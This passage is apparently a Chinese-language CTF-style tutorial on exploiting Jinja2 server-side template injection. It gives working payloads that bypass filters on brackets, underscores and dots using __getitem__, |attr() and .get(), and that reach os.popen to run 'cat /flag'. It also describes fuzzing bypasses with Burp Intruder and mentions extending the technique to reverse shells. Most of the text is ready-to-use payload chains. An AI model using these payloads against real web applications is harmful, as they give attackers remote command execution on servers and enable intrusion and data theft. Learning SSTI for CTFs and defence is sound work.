Web SSTI 模板注入漏洞利用与绕过技巧详解

2. 爆破策略

将字典放入 Burp Suite 的 Intruder 模块，使用 Sniper 模式设置爆破点。根据响应长度差异判断是否成功绕过。例如，发现某些长度异常的响应可能意味着 Payload 执行成功。

3. 方法替换

若中括号 [] 被过滤，可使用 __getitem__() 方法替代：

原写法：{{ [].__class__.__bases__[0] }} 绕过写法：{{ [].__class__.__bases__.__getitem__(0) }}

完整 Payload 示例：

?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag

属性访问过滤：|attr() 过滤器

当下划线 _ 或点号 . 被过滤时，Jinja2 的 |attr() 过滤器非常有效。它允许通过字符串名称访问对象的属性。

1. 基本用法

# 原写法
{{ lipsum.__globals__ }}

# 绕过
{{ lipsum|attr('__globals__') }}

2. 链式调用简化

由于 request.values 使用频繁，可通过 {% set %} 标签定义变量，简化 Payload 结构：

{% set c=request.values %}
{{ config|attr(c.a)|attr(c.b)|attr(c.c)|attr(c.d)(c.e)|attr(c.f)(c.g)|attr(c.h)() }}
&a=__class__ &b=__init__ &c=__globals__ &d=__getitem__ &e=os &f=popen &g=cat /flag &h=read

3. 构建路径

从最短路径出发（如 lipsum），逐步拼接属性：

1. |attr() 代替 .
2. __getitem__() 代替 []
3. 继续 |attr() 取 .popen
4. 最后 .read() 转为 |attr('read')()

最终生成的 Payload 逻辑清晰且易于维护：

{% set c = request.values %} 
{{ lipsum |attr(c.a) # __globals__ 
|attr(c.b)(c.c) # __getitem__('os') 
|attr(c.d)(c.e) # popen('cat /flag') 
|attr(c.f)() # read() }} 
&a=__globals__ &b=__getitem__ &c=os &d=popen &e=cat /flag &f=read

字典键值获取：.get() 方法

当 |attr() 连续使用时，可能因返回对象类型问题导致失效。例如，attr() 获取的是字典对象本身，而非字典内的键值。

• 错误写法：{{(lipsum|attr(q)).get(o)}} 如果 q 指向 __globals__，则需显式调用字典的 .get() 方法。
• 正确逻辑：先通过 attr() 拿到 __globals__ 字典，再调用该字典的 .get(key) 方法取值。

Payload 示例：

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

对于盲注、反弹 Shell 等复杂场景，上述基础技巧仍是核心支撑。理解原理后，可根据实际环境灵活组合。